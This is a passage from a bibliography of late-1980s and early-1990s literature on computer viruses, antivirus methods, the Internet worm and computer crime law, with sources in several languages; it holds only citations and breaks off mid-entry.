Bulletin CL&SR - The Computer Law and Security Report C&S - Computers & Security C't - Magazin fur Computertechnik CW - ComputerWorld DataproIS - Datapro Reports on Information Security DataproMC - Datapro Management of Microcomputer Systems DC - Defence Computing DuD - Datenschutz und Datensicherung EDPAJ - The EDP Auditor Journal KES - Zeitschrift fur Kommunikations- und EDV-Sicherheit MC - die Mikrocomputer-Zeitschrift PCW - Personal Computer World PIK - Praxis der Informations - Verarbeitung und Kommunikation [Абакумов89] Абакумов А.А., Абрамов С.М. и др. Правдивая история о жизни и смерти одного вируса // Наука в СССР, 1989, N 4.- С.83-87 [Абрамов89] Абрамов С.М., Пименов С.П. и др. Компьютерный вирус // Микропроцессорные средства и системы, 1989, N 2.- С.22-24 [Агасандян90] Агасандян Г. Не вреди ближнему своему // Компьютер, 1990, N 1.- С.47-49 [АгеевА89] Агеев А.С. "Компьютерные вирусы" и безопасность информации // Зарубежная радиоэлектроника, 1989, N 12.- С.71-75 [АгеевК90] Агеев К., Цал М. Чудеса в нашем "зоопарке" // Файл, 1990.С.61-65 [Безруков88] Безруков Н.Н. Эвристические методы повышения качества дизассемблирования // Программирование, 1988, N 4.- С.81-93 [Безруков89] Безруков Н.Н. Классификация компьютерных вирусов и средства защиты от них // Эксплуатация программного обеспечения вычислительных систем реального времени, построенных на базе микро и мини ЭВМ. - Киев: КИИГА, 1989.- С.3-21 [Безруков90а] Безруков Н.Н. Классификация компьютерных вирусов в МС ДОС // Программирование, 1990, N 3.- С.3-22 [Безруков90б] Безруков Н.Н. Классификация вирусов: попытка стандартизации // ИК, 1990, N 2.- С.37-39; N 3.- С.38-47 [Безруков90в] Безруков Н.Н. Классификация компьютерных вирусов MS DOS и методы защиты от них.- М.: СП "Информэйшн Компьютер Энтерпрайз", 1990. - 48 с. [Бончев89а] Бончев В. Истината за компютърните вируси // КВ, 1989, г.5, N 1-2.- С.5-6 [Бончев89б] Бончев В. Още за компютърните вируси // КВ, 1989, г.5, N 3-4.- С.8-15 [Бончев89в] Бончев В. В търсене на универсалната ваксина // КВ, 1989, г.5, N 5-6.- С.8-12 [Бончев89г] Бончев В. Компютърните вируси: епидемията продължава // КВ, 1989, г.5, N 7-8.- С.2-6 [Бончев89д] Бончев В. Лихайският вирус// КВ, 1989, г.5, N 9-10.С.4-5,49 [Бончев90а] Бончев В.В. Компютърните вируси и методи за борба с тях // АИТиАС, 1990, г.6, N 1.- С.37-41 [Бончев90б] Бончев В. Новите вируси в България // КВ, 1990, г.6, N 1-2.- С.2-5 [Бончев90в] Бончев В. Играта загрубя: за вируса Eddie и неговия злополучен автор // КВ, 1990, г.6, N 3-4.- С.9-10 [Бончев90г] Бончев В. Вирусна поща: отговори на най-честите въпроси // КВ, 1990, г.6, N 3-4.- С.11-14 [Внук90] Внук П. 10 антивирусных заповедей // Компьютер, 1990, N 1.С.49 [Дзержинский90] Дзержинский Ф.Я. Комментарий о вирусах и компьютерном пиратстве // Программирование, 1990, N 3.- С.23-24 [Диев89] Диев С.И. Защита информации в персональных компьютерах // Зарубежная радиоэлектроника, 1989, N 12.- С.57-59 [ИНО88] Способы совершения компьютерных преступлений (обзор) // Информатика и право: теория и практика буржуазных государств.- М., 1988. - С.76-103.- (Сер. Информация, наука, общество) [Кадлоф90] Кадлоф А. Вирусы // Компьютер, 1990, N 1.- С.44-47 [Карасик89а] Карасик И.Ш. К вопросу о компьютерных вирусах // Мир ПК, 1989, N 3.- С.127-131 [Карасик89б] Карасик И.Ш. Несколько слов о компьютерных вирусах // ИК, 1989, N 1.- С.14-15 [Карасик89в] Карасик И.Ш. Типология вирусов // ИК, 1989, N 2.- С.14-15 [Карасик90а] Карасик И.Ш. Анатомия и физиология вирусов // ИК, 1990, N 1.- С.39-47 [Карасик90б] Карасик И.Ш. Классификация антивирусных программ // ИК, 1990, N 2.- С.40-45 [Карлитин89] Карлитин Л.Е. Доктор Ватсон берет реванш у Шерлока Холмса // Наука в СССР, 1989, N 4.- С.80-82 [КВ88-4] Вируси в паметта // КВ, 1988, г.4, N 4-5.- С.12-13 [КВ89-1] Ваксината ANTI // КВ, 1989, г.5, N 1-2.- С.7 [Куренков89] Куренков С.Д. Компьютерные вирусы и методы борьбы с ними // Международный симпозиум INFO-89, т.1, ч.1.- Минск, 1989.- С.572-577 [Лилитко89] Лилитко Е.П. "Бой в памяти" - игра созидательная // Мир ПК, 1989, N 3.- С.131-132 [Лозинский90] Лозинский Д. Одна из советских антивирусных программ: AIDSTEST // КП, 1990, N 6.- С.17-20 [Недков89а] Недков С.Н. Програми за проникване в изчислителните системи // АИТиАС, 1989, г.5, N 3.- С.38-43 [Недков89б] Недков С.Н. Модели на разпространението на вируси в изчислителни системи // АИТиАС, 1989, г.5, N 7.- С.18-23 [Недков89в] Недков С. Компютърна хигиена: вируси // КВ, 1989, г.5, N 5-6.- С.13-16 [Недков89г] Недков С. Антивирусни програми // КВ, 1989, г.5, N 9-10.С.6-10 [Недков89д] Недков С. Средства защиты персональных компьютеров от вирусов // Международный симпозиум INFO-89, т.1, ч.1.- Минск, 1989.С.566-571 [Недков90а] Недков С. Вирусът за $ 96 000 000 по мрежата Arpanet/Internet // КВ, 1990, г.6, N 3-4.- С.5-8 [Недков90б] Недков С. На вирусния фронт нещо ново // КВ, 1990, г.6, N 5-6.- С.2-4 [Николаев90] Николаев А. Осторожно - вирус ! // КП, 1990, N 6.С.3-16 [Осипенко90] Осипенко А.С. Компьютерные вирусы // Мир ПК, 1990, N 3.С.23-30 [Основский90] Основский Ю.Н. Компьютерные вирусы: классификация, методы борьбы.- М.: Центр МИФИ СП "Диалог", 1990.- 41 с. [Охрименко89] Охрименко С.А. Защита персональных ЭВМ от программных злоупотреблений (компьютерных вирусов).- Кишинев: МолдНИИТЭИ, 1989.27 с. [Павлов89] Павлов А. Компьютерная чума в СССР // Химия и жизнь, 1989, N 7.- С.20-21 [Селль90] Селль М. Антивирусные программы // Компьютер, 1990, N 2.С.48-50 [Стефанков90] Стефанков Д. Пятница, 13-е // Интерфейс, 1990, N 1.С.38-42 [Стоянов90] Стоянов А. За лудия и вирусните зелници // КВ, 1990, г.6, N 1-2.- С.6-7 [Томов90] Томов А. Ваксината Hunter // КВ, 1990, г.6, N 5-6.- С.6-11 [Фигурнов90] Фигурнов В.Э. IBM PC для пользователя.- М.: Финансы и статистика, 1990.- 240 с.- (Гл.12. Защита от компьютерного вируса, с.144-155) [Чижов88] Чижов А.А. Некоторые соображения по поводу компьютерных вирусов // В мире персональных компьютеров, 1988, N 1.- С.121-124 [Шерстюк90] Шерстюк Ф.Н. Вирусы и антивирусы на IBM-совместимых ПК // ИК, 1990, N 2.- С.46-47 [Adney89] Adney W.M., Kavanagh D.E. The data bandits // Byte, 1989, v.14, No 1, pp.267-270 [Al-Dossary90] Al-Dossary G.M. Computer virus prevention and containment on mainframes // C&S, 1990, v.9, No 2, pp.131-137 [Alexander88a] Alexander M. Virus ravages thousands of systems // CW, 1988, v.XXII, No 45 (Nov. 7), pp.1,157 [Alexander88b] Alexander M. Anatomy of a virus // CW, 1988, v.XXII, No 45 (Nov. 7), p.157 [Alexander88c] Alexander M. Security, ethics under national scrutiny // CW, 1988, v.XXII, No 46 (Nov. 14), pp.1,6 [Alexander88d] Alexander M. Dissecting the anatomy of a worm // CW, 1988, v.XXII, No 46 (Nov. 14), p.10 [Alexander88e] Alexander M. Internet sites guid for hacker attacks // CW, 1988, v.XXII, No 50 (Dec. 12), p.120 [Alexander89a] Alexander M. Cornell: Morris set worm loose // CW, 1989, v.XXIII, No 14 (Apr. 3), p.1,100 [Alexander89b] Alexander M. Morris indicted in Internet virus affair // CW, 1989, v.XXIII, No 31 (Jul. 31), p.8 [Alexander89b] Alexander M. Morris pleads innocent to worm rap // CW, 1989, v.XXIII, No 32 (Aug. 7), p.8 [Alexander89c] Alexander M. It's the flu season for micros // CW, 1989, v.XXIII, No 38 (Sept. 18), pp.39,49 [Alexander89d] Alexander M. Disk Killer came in the front door // CW, 1989, v.XXIII, No 41 (Oct. 9), pp.1,6 [Anton89] Anton M. Schach dem virus // Toolbox, 1989, v.4, No 10, pp.22-23 [Bates89a] Bates J. All about viruses // Practical Computing, 1989, v.12, No 3, p.87 [Bates89b] Bates J. Putting the virus fears in focus // Practical Computing, 1989, v.12, No 5, pp.74-76 [Bates90a] Bates J. High speed action defeats rogue disks // Practical Computing, 1990, v.13, No 2, pp.90-91 [Bernau89] Bernau J., Vogler T. Viren schutzen gegen viren // Chip, 1989, No 2, pp.88-97 [Betts88] Betts M. Virus' "benign" nature will make it difficult to prosecute // CW, 1988, v.XXII, No 46 (Nov. 14), p.16 [Bigelow89] Bigelow R.P. Computer security, crime and privacy - US status report // CL&SR, 1989, v.4, No 6, pp.10-16 [Bigelow90] Bigelow R. The legal dimension of computer crime // EDPAJ, 1990, v.2, pp.59-66 [Blanc89] Blanc C., Dargery Y. Les virus apprivoises // Science & vie Micro, 1989, No 66, pp.141-144 [Booty89] Booty F. Preventing viruses on LANs // CF&SB, 1989, v.11, No 9, pp.4-5 [Borstler89] Borstler T., Fischer Ch. Sabotage vorprogrammiert: computer - viren bedrohen die datenbestande // CAK, 1989, No 8, pp.44-53 [Bosen89] Bosen B. Computer viruses: attacking the attackers // DC, 1989, v.2, No 3, pp.32-35 [Brenton85] Brenton T., Beneich D. Softwar: la guerre douce.- 1985 [Brunner75] Brunner J. The shockware rider.- N.Y.: Harper & Row, 1975.- 246 p. [Brunnstein87] Brunnstein K. Uber viren, wurmer und anderes seltsames getier in computer - systemen: ein kleines "Informatik - bestiarium" // Angewandte Informatik, 1987, v.29, No 10, pp.397-402 [Brunnstein88] Brunnstein K. Dichtuhg und wahrheit // Computer Magazin, 1988, v.17, No 9, pp.47-49 [Brunnstein89] Brunnstein K. Mythen und fakten uber viren // Chip, 1989, No 4, pp.50-56 [Burger88] Burger R. Das grosse computer-viren buch. - Dusseldorf: Data Becker, 1988, 416 p.- (3 расшир. изд., есть английский и русский переводы: Burger R. Computer viruses - a high-tech disease.- Abacus, 1988.276 p.- (2-е издание); Бургер Р. Компьютерные вирусы.- М.: Всес. центр переводов, 1989, пер. N С-48102.- 67 с.; N С-48103.- 67 с.; N С-48104.- 97 с.; N С-48105.- 93 с.- (пер. 1-го изд. 1987 г.)) [C&S88a] Revised list of virus filters // C&S, 1988, v.7, No 3, pp.259-260 [C&S88b] Virus defence alert // C&S, 1988, v.7, No 2, pp.156-158 [Carrol90] Carrol J.M. 2300 Brave virus threat to attend National Security Conference // C&S, 1990, v.9, No 1, pp.45-49 [CF&SB84] Communications-security vulnerabilities // CF&SB, 1984, v.6, No 7, pp.8-10 [CF&SB89a] Anti-virus products // CF&SB, 1989, v.11, No 7, pp.3-4 [CF&SB89b] Computer security: what's new ? // CF&SB, 1989, v.11, No 5, pp.10-11 [Clancy88] Clancy S. Viruses, trojan horses, and other badware: information and implication for online searchers // Database, 1988, v.11, No 4, pp.37-44 [Cohen84] Cohen F. Computer viruses: theory and experiments // Proc. 2nd IFIP Int. Conf. on Computer Security, 1984, pp.143-158 [Cohen87] Cohen F. Computer viruses: theory and experiments // C&S, 1987, v.6, No 1, pp.22-35 [Cohen88a] Cohen F. On the implications of computer viruses and methods of defence // C&S, 1988, v.7, No 2, pp.167-184 [Cohen88b] Cohen F. Ethical issues in computer virus distribution // C&S, 1988, v.7, No 4, pp.335-336 [Cohen89a] Cohen F. Models of practical defenses against computer viruses // C&S, 1989, v.8, No 2, pp.149-160 [Cohen89b] Cohen F. Computational aspects of computer viruses // C&S, 1989, v.8, No 4, pp.325-344 [Computing88] New viral strains take hold// Computing, 1988, Dec.15, p.4 [Cox88] Cox J. After virus attack, users rethink nets // Network World, 1988, v.5, No 46 (Nov. 14) [CP86] Virusprogramme // Computer Personlich, 1986, No 24, pp.100-105, 164 [Crawford89] Сrawford D. Two bills equal forewarning // CACM, 1989, v.32, No 7, pp.780-782 [Crocket88] Crockett B. Viral attack forces fast decisions // Network World, 1988, v.5, No 46 (Nov. 14) [Cullen89] Cullen S.W. The computer virus: is there a real panacea ? // The Office, 1989, v.109, No 3, pp.43-46 [Daly88] Daly J. Portrait of an artist as a young hacker // CW, 1988, v.XXII, No 46 (Nov. 14), p.6 [DataproIS30930] Computer viruses: an overview // DataproIS, Report IS30-930-101, Jan. 1989.- 7 p. [DataproIS30935] Fighting computer viruses through systems management // DataproIS, Report IS30-935-101, Dec. 1989.- 6 p. [DataproIS31001] An overview of virus protection products // DataproIS, Report IS31-001-201, Jan. 1989.- 6 p. [DataproIS35270] Network security: managing viruses and other threats // DataproIS, Report IS35-270-101, Feb. 1990.- 16 p. [DataproMC57400] Guidelines: computer viruses // DataproMC, Report MC57-400-101, Jul. 1989.- 11 p. [DataproMC59050] Computer viruses: protect yourself // DataproMC, Report MC59-050-271, Feb. 1990.- 9 p. [David88] David J. Treating viral fever // C&S, 1988, v.7, No 3, pp.255-258 [Davies88] Davies D. Computer virus - the major computer abuse threat of 1988 ? // CL&SR, 1988, v.4, No 1, pp.2-3 [Davies90] Davies D. The computer virus - a threat under control or a warning of things to come ? // CL&SR, 1990, v.5, No 6, pp.8-12 [DavisF87] Davis F.G., Gantenbein R.E. Recovering from a computer virus attack // The Journal of Systems and Software, 1987, v.7, No 4, pp.253-258 [DavisR88] Davis R. Exploring computer viruses // Proc. 4th Aerospace Computer Security Applications Conf., 1988, pp.7-11 [Dec88] Dec M. Polski wirus // Komputer, 1988, No 11, p.39 [Dehn89] Dehn T., Paul W. Vorbeugung bei computerviren // Computer und Recht, 1989, v.5, No 1, pp.68-71 [DeMaio89] DeMaio H.B. Viruses - a management issue // C&S, 1989, v.8, No 5, pp.381-388 [Denning88] Denning P.J. Computer viruses // American Scientist, 1988, v.76, No 3, pp.236-238 [Denning89] Denning P.J. The Internet worm // American Scientist, 1989, v.77, No 2, pp.126-128 [Desilets89] Desilets R.B. jr. Software vendors' exposure to products liability for computer viruses // Computer/Law Journal, 1989, v.9, No 4, pp.509-526 [Dewdney84] Dewdney A.K. In the game called Core War hostile programs engage in a battle of bits // Scientific American, 1984, v.250, No 5, pp.15-19.- (есть русский перевод: Дьюдни А.К. В игре "Бой в памяти" компьютерные программы ведут битву за биты // В мире науки, 1984, N 7.- С.96-101) [Dewdney85] Dewdney A.K. A Core War bestiary of viruses, worms and other threats to computer memories // Scientific American, 1985, v.252, No 3, pp.14-19.- (есть русский перевод: Дьюдни А.К. Обзор читательских откликов на статьи, посвященные игре "Бой в памяти", экологической войне на планете АкваТор и охоте с компьютером на бобра - работягу // В мире науки, 1985, N 5.- С.70-75) [Dewdney87] Dewdney A.K. A program called MICE nibbles its way to victory at the first Core War tournament // Scientific American, 1987, v.256, No 1, pp.8-11.- (есть русский перевод: Дьюдни А.К. Анализ результатов первого турнира по компьютерной игре "Бой в памяти" // В мире науки, 1987, N 3.- С.96-100) [Dewdney88] Dewdney A.K. The armchair Universe.- Oxford: W.H.Freeman and Co., 1988.- 330 p. [Dewdney89] Dewdney A.K. Of worms, viruses and Core War // Scientific American, 1989, v.260, No 3, pp.90-93.- (есть русский перевод: Дьюдни А.К. О вирусах, червяках и войне в памяти // В мире науки, 1989, N 5.- С.82-86) [DiDio88] DiDio L. Virus victims are stoic in wake of multinet attack // Network World, 1988, v.5, No 46 (Nov. 14) [Dierstein85] Dierstein R. Computer-viren // KES, 1985, v.1, No 3, pp.77-86; No 4, pp.125-135 [Dierstein86] Dierstein R. Computer viren // Output, 1986, v.15, No 8, pp.33-40; No 10, pp.43-47 [Dierstein88] Dierstein R. Das Israel-virus // KES, 1988, v.4, No 2, pp.108-110 [Dierstein89a] Dierstein R. Viren sind ganz normale programme ... // Computer Personlich, 1989, No 3, pp.38-44 [Dierstein89b] Dierstein R. Viren - wurmer - trojanische pferde - was ist das? // KES, 1989, v.5, No 3, pp.162-167 [Dierstein90a] Dierstein R. Das Panama- oder AIDS-programm // KES, 1990, v.6, No 1, pp.4-14 [Dierstein90b] Dierstein R. Viren als aprilscherz // KES, 1990, v.6, No 2, pp.98-101 [Djibril89] Djibril F. Datacrime // Science & vie Micro, 1989, No 66, pp.138-140 [Dubash88] Dubash M. A plague on your systems // Practical Computing, 1988, v.11, No 4, pp.64-67 [Duff89a] Duff T. Viral attacks on UNIX system security // Proc. USENIX Association Winter Conf., 1989 [Duff89b] Duff T. Experience with viruses on UNIX systems // Computing Systems, 1989, v.2, No 2, pp.155-171 [Dvorak88] Dvorak J.C. Virus wars: a serious warning // PC Magazine, 1988, v.7, No 4, p.71 [EDPAJ90] EDPAA testimony before US congress regarding computer viruses // EDPAJ, 1990, v.2, pp.68-72 [Eisenberg89] Eisenberg T., Gries D. et al. The Cornell comission: on Morris and the worm // CACM, 1989, v.32, No 6, pp.706-709 [Fak88] Fak V. Are we vulnerable to a virus attack ? A report from Sweden // C&S, 1988, v.7, No 2, pp.151-155 [Fastiggi] Fastiggi M.V. Detection of surreptitious insertion of trojan horse or viral code in computer application programs // Information Age, 1989, v.11, No 1, pp.3-18 [Fites89] Fites P., Johnston P., Kratz M. The computer virus crisis.N.Y.: Van Nostrand Reinhold, 1989, 171 p. [Gardner89] Gardner P.E. The Internet worm: what was said and when // C&S, 1989, v.8, No 4, pp.291-296 [Gemignani85] Gemignani M. The software protection worm: can it turn against its Master ? // Abacus, 1985, v.2, No 4, pp.39-40,51 [Gemignani89] Gemignani M. Viruses and criminal law // CACM, 1989, v.32, No 6, pp.669-671 [Gibson84] Gibson W. Neuromancer.- N.Y.: Ace Science Fiction, 1984 [Gibson88] Gibson W. Mona Lisa Overdrive.- N.Y.: Bantam Books, 1988 [Glath88] Glath R. The case of the "Gerbil virus" that wasn't // C&S, 1988, v.7, No 5, pp.451-453 [Glath90] Glath R.M. Stealth viruses ... weapon systems of tomorrow ? // DC, 1990, v.3, No 5, pp.34-36 [Gleissner89] Gleissner W. A mathematical theory for the spread of computer viruses // C&S, 1989, v.8, No 1, pp.35-41 [Glendown89] Glendown G. Bootblaker: bootblock-virusprotector fur den Amiga // Toolbox, 1989, v.4, No 1, pp.51-53 [Gliss88] Gliss H. EARN network hit by student prank // CF&SB, 1988, v.10, No 5, pp.1-4 [Goodwins88] Goodwins R. Understanding the minds behind the viruses // CF&SB, 1988, v.10, No 7, pp.3-4 [Graf90] Graf J. Interview mit Deutschlands erstem virenprogrammierer // Chip, 1990, No 3, pp.405-406 [Greenberg89] Greenberg R.M. Know thy viral enemy // Byte, 1989, No 6, pp.275-280 [Gruman89] Gruman G. Viruses and worms: what to do ? // IEEE Software, 1989, v.6, No 2, pp.93-96 [Gunn74] Gunn J.B. Use of virus functions to provide a virtual APL interpreter under user control // APL Quote Quad, 1974, v.5, No 4, pp.163-168 [Hackenberg89] Hackenberg G. Programmschadlinge - eine virologie // DuD, 1989, No 8, pp.392-397 [Hafner88] Hafner K.M. Is your computer secure ? // Business Week, 1988, No 3063 (August 1), pp.64-72 [Herschberg90] Herschberg I.S., Paans R. Friday the 13th, facts and fancies // C&S, 1990, v.9, No 2, pp.125-130 [Highland87a] Highland H.J. Computer viruses and sudden death ! // C&S, 1987, v.6, No 1, pp.8-10 [Highland87b] Highland H.J. Data physician - a virus protection program // C&S, 1987, v.6, No 1, pp.73-79 [Highland88a] Highland H.J. Case history of a virus attack // C&S, 1988, v.7, No 1, pp.3-4 [Highland88b] Highland H.J. Computer viruses - a post mortem // C&S, 1988, v.7, No 2, pp.117-125 [Highland88c] Highland H.J. Anatomy of a virus attack // C&S, 1988, v.7, No 2, pp.145-150 [Highland88d] Highland H.J. An overview of 18 virus protection products // C&S, 1988, v.7, No 2, pp.157-161 [Highland88e] Highland H.J. How to combat a computer virus // C&S, 1988, v.7, No 2, pp.157-163 [Highland88f] Highland H.J. How to test a virus filter without a virus // C&S, 1988, v.7, No 3, pp.235-242 [Highland88g] Highland H.J. How to obtain a computer virus // C&S, 1988, v.7, No 4, pp.337-346 [Highland88h] Highland H.J. The BRAIN virus: fact and fantasy // C&S, 1988, v.7, No 4, pp.367-370 [Highland88i] Highland H.J. Computer viruses: media hyperbole, errors and ignorance // C&S, 1988, v.7, No 5, pp.439-449 [Highland88j] Highland H.J. Virus filter evaluation report // C&S, 1988, v.7, No 6, pp.533-541 [Highland88k] Highland H.J. Case history of a virus attack // CF&SB, 1988, v.10, No 4, pp.4-7 [Highland88l] Highland H.J. The BRAIN virus - fact and fantasy // CF&SB, 1988, v.10, No 11, pp.4-9 [Highland89a] The computer virus handbook / H.J.Highland (ed.).Oxford: Elsevier Advanced Technology, 1989 [Highland89b] Highland H.J. The Milnet/Arpanet attack // C&S, 1989, v.8, No 1, pp.3-13 [Highland89c] Highland H.J. The Italian or Ping-pong virus // C&S, 1989, v.8, No 2, pp. 91-98 [Highland89d] Highland H.J. A macro virus // C&S, 1989, v.8, No 3, pp.178-188 [Highland89e] Highland H.J. Harmless viruses do not exist // C&S, 1989, v.8, No 4, pp.276-278 [Highland89f] Highland H.J. The Marijuana virus revisited // C&S, 1989, v.8, No 5, pp.369-380 [Highland89g] Highland H.J. The Internet worm ... continued // C&S, 1989, v.8, No 6, pp.460-478 [Highland89h] Highland H.J. How to detect a computer virus in your system // C&S, 1989, v.8, No 7, pp.553-561 [Highland89i] Highland H.J. Protecting hardware and software // C&S, 1989, v.8, No 8, pp.647-657 [Highland89j] Highland H.J. Datacrime virus and new anti-virus products // C&S, 1989, v.8, No 8, pp.659-661 [Highland89k] Highland H.J. VCHECKER - a virus search program // C&S, 1989, v.8, No 8, pp.669-674 [Highland89l] Highland H.J. Two new viruses pose threat // CF&SB, 1989, v.11, No 4, pp.20-21 [Highland89m] Highland H.J. The ARPANET virus attack // CF&SB, 1989, v.11, No 5, pp.7-10 [Highland89n] Highland H.J. The Italian virus // CF&SB, 1989, v.11, No 7, pp.7-8 [Highland90a] Highland H.J. New directions for anti-virus measures // C&S, 1990, v.9, No 1, pp.7-8 [Highland90b] Highland H.J. Emerging viruses, emerging threat // C&S, 1990, v.9, No 2, pp.104-108 [Highland90c] Highland H.J. A spate of new virus // C&S, 1990, v.9, No 3, pp.205-206 [Hoffman89] Hoffman G. "Wurm" im Internet // DuD, 1989, No 2, pp.63-70 [Hoffmeister87a] Hoffmeister F. An approach to defend computers against computer viruses // Proc. IASTED Int. Symp.: Applied Informatics, 1987, pp.176-179 [Hoffmeister87b] Hoffmeister F. Risiken durch computerviren - erste losungsansatze // PIK, 1987, v.10, No 3, pp.196-202 [Honan89] Honan P. Avoiding virus hysteria // Personal Computing, 1989, v.13, No 5, pp.85-92 [Hoppenrath89] Hoppenrath D. Computerviren: problem oder psychose? // Computer Personlich, 1989, No 3, pp.45-47 [Horwitt88] Horwitt E. Virus scare shakes IBM MIS managers // CW, 1988, v.XXII, No 46 (Nov. 14), p.8 [Hruska88a] Hruska J. Data viruses, trojan horses and logic bombs how to combat them ? // CF&SB, 1988, v.10, No 6, pp.5-7 [Hruska88b] Hruska J. "BRAIN" - the truth is revealed // CF&SB, 1988, v.10, No 7, pp.2-3 [Hruska90] Hruska J. Computer viruses // Information Age, 1990, v.12, No 2, pp.100-108 [Hunter89] Hunter P. Virus attack // Communications Management, 1989, April, pp.36-38 [Isselhorst89] Isselhorst H. Massnahmen zum manipulationsschutz von software - notwendigkeit, arten, bewertung // DuD, 1989, No 8, pp.398-402 [Jackson88] Jackson K. Virus alters networking // CommunicationsWeek, 1988, No 222 (Nov. 14) [Jackson89a] Jackson K. "1813" strikes city university // CF&SB, 1989, v.11, No 4, p.19 [Jackson89b] Jackson K. Vaccine // CF&SB, 1989, v.11, No 7, pp.13-16 [Joepgen89] Joepgen H.-G. "Viren", "minen" und "trojaner" // MC, 1989, No 7, pp.44-48; No 8, pp.80-89; No 9, pp.68-78; No 10, pp.118-124 [JonesH88] Jones H. Gremlins that grind your system down // PC Business World, 1988, v.4, No 7, p.8 [JonesL88] Jones L.G. Computer viruses: threat or media hype ? // EDPAJ, 1988, v.3, pp.25-32 [Jorga88] Jorga F. "ANTIBIO"tica gegen virus - programme // Wirtschaftsschutz + Sicherheitstechnik, 1988, No 7, pp.373-374 [Joseph88] Joseph M., Avizienis A. A fault tolerance approach to computer viruses // Proc. IEEE Symp. on Security and Privacy, 1988, pp.52-58 [Joseph89] Joseph M.K. A response to criticisms of a virus detection scheme // SIGSAC Rewiew, 1989, v.7, No 3, pp.3-5 [Joyce88] Joyce E.J. Software viruses: PC-health enemy number one // Datamation, 1988, v.34, No 20, pp.27-30 [Kadlof89] Kadlof A. Wirusy atakuja // Komputer, 1989, No 7/8, pp.28-29; No 9, pp.26-28; No 10, pp.35-37; 1990, No 1/3, pp.34-35 [Kadlof90a] Kadlof A. Wirusy komputerowe w Polsce // PCkurier, 1990, No 8, pp.10-11; No 15, pp.10-11; No 21, pp.14-15 [Kadlof90b] Kadlof A. Uwaga: nove wirusy // PCkurier, 1990, No 9, pp.6-7 [Kadlof90c] Kadlof A. Przeciw wirusom // PCkurier, 1990, No 11, p.7; No 12, pp.15-17; No 13, pp.14-16; No 14, pp.16-17; No 16, pp.14-15; No 18, pp.14-15; No 19, pp.14-15 [Kadlof90d] Kadlof A. Identyfikacja wirusow komputerowych // PCkurier, 1990, No 22, pp.20-21 [Kаnel88] Kаnel A. Informatigue: le Sida se repand // La Revue Polytechnique, 1988, No 1502, pp.985-987 [Kane89] Kane P. V.I.R.U.S. protection: vital information resources under siege.- N.Y.: Bantam Books.- 477 p.- (с дискетой утилит Dr. Panda) [Kask88] Kask A. Computer viruses are as easy to prevent as the common cold // InfoWorld, 1988, v.10, No 50 (Dec. 12), p.49 [Kastenmuller88] Kastenmuller S. Erkennen von "computer-viren" // KES, 1988, v.4, No 4, pp.255-263 [Kelly89] Kelly M. Treating viruses sensibly // Practical Computing, 1989, v.12, No 5, pp.72-73 [King89] King M. Viruses and related mechanisms in MVS // Software World, 1989, v.20, No 1, pp.2-4 [King90] King M. Solving the virus problem: how to protect your system // Technical Support, 1990, v.4, No 1, pp.25-28 [Klopp90] Klopp Ch. Software vendors capitalize on security needs // C&S, 1990, v.9, No 1, pp.33-35 [Kocher89] Kocher B. A hygiene lesson // CACM, 1989, v.32, No 1, pp.3,6 [Koziel88] Koziel T., Leister G. Die viren sind da: bootsector viren erobern den Atari ST // C't, 1988, No 7, pp.72-80 [Krabel87] Krabel E. Die viren kommen // C't, 1987, No 4, pp.108-117 [Kurzban89] Kurzban S.A. Viruses and worms - what can you do ? // SIGSAC Rewiew, 1989, v.7, No 1, pp.16-32 [Lai88] Lai N., Gray T.E. Strengthening discretionary access controls to inhibit trojan horses and computer viruses // Proc. USENIX Association Summer Conf., 1988, pp.275-286 [Lammer88] Lammer P. Protection from infection // Systems International, 1988, v.16, No 6, pp.75-76 [Majewski88] Majewski W. Wirusowa goraczka // Komputer, 1988, No 11, pp.35-39 [Margolis88] Margolis N., Ryan A.J. What did the worm teach us ? // CW, 1988, v.XXII, No 46 (Nov. 14), p.14 [Marotta89] Marotta M.E. Computer viruses: the security challenge // Systems 3X & AS World, 1989, v.17, No 3, pp.82-90 [Marshall88a] Marshall E. The scourge of computer viruses // Science, 1988, v.240, No 4849 (Apr. 8), pp.133-134 [Marshall88b] Marshall E. Worm invades computer networks // Science, 1988, v.242, No 4880 (Nov. 11), pp.855-856 [Marshall88c] Marshall E. The worm's aftermath // Science, 1988, v.242, No 4882 (Nov. 25), pp.1121-1122 [McAfee89a] McAfee J. Managing the virus threat // CW, 1989, v.XXIII, No 6 (Feb. 13), pp.89-96 [McAfee89b] McAfee J. The virus cure // Datamation, 1989, v.35, No 4, pp.29-40 [McBroom89] McBroom V. Computer viruses: what they are, how to protect against them // Software Protection, 1989, v.VIII, No 3, pp.1-16 [McIlroy89] McIlroy M.D. Virology 101 // Computing Systems, 1989, v.2, No 2, pp.173-181 [McLellan88] McLellan V. Computer systems under seige (viruses) // EDPAJ, 1988, v.3, pp.33-38 [Menkus89] Menkus B. The computer virus situation is not encouraging // C&S, 1989, v.8, No 2, pp.115-119 [Menkus90] Menkus B. In the matter of Robert Tappan Morris, jr // EDPAJ, 1990, v.2, pp.10-11 [Miedel89a] Miedel L. Schadlinge im boot-block // Chip, 1989, No 7, pp.136-141 [Miedel89b] Miedel L. Attacke mit dem lotkolben // Chip, 1989, No 9, pp.261-262 [Moran88] Moran R. Virus origin still under investigation // CW, 1988, v.XXII, No 46 (Nov. 14), p.14 [Mucke89] Mucke A. Viren - kurz erklart // KES, 1989, v.5, No 6, pp.394-397 [Mucksch90] Mucksch H. Viren, wanzen, wurmer, trojanische pferde: gefahren fur die dezentrale, individuelle datenverarbeitung insbesondere die der hochschule // DuD, 1990, No 3, pp.146-154; No 4, pp.206-211 [Muller87] Muller G.F. "Computer-vieren" - neue gefahrdung der EDV ? // DuD, 1987, No 10, pp.482-486 [Murray88] Murray W.H. The application of epidemiology to computer viruses // C&S, 1988, v.7, No 2, pp.139-145 [Musstopf89] Musstopf G. Infarktbekampfung // Chip Tool, 1989, No 12, pp.132-133 [Nedkov89] Nedkov S. Italian virus infects hard disks too // CF&SB, 1989, No 8, pp.5-7 [ParkerD81] Parker D.B. Ethical conflicts in computer science and technology.- Arlington: AFIPS Press, 1981.- 201 p. [ParkerT88] Parker T. An ounce of prevention: vaccines to fight viruses and trojans // Computer Language, 1988, v.5, No 9, pp.119-134 [PCWeek88] Apple dealers sent virus test/cure disk to halt spread of Mac malady // PC Week, 1988, v.4, No 15 (Apr. 26), p.3 [Penrose59] Penrose L.S. Self-reproducing machines // Scientific American, 1959, v.200, No 6, pp.105-114 [Peter89] Peter J. Protect: impfstoff gegen viren ! // Toolbox, 1989, v.4, No 1, pp.58-63 [Pitman89] The complete computer virus handbook.- London: Pitman, 1989. [Pournelle88] Pournelle J. Dr. Pournelle 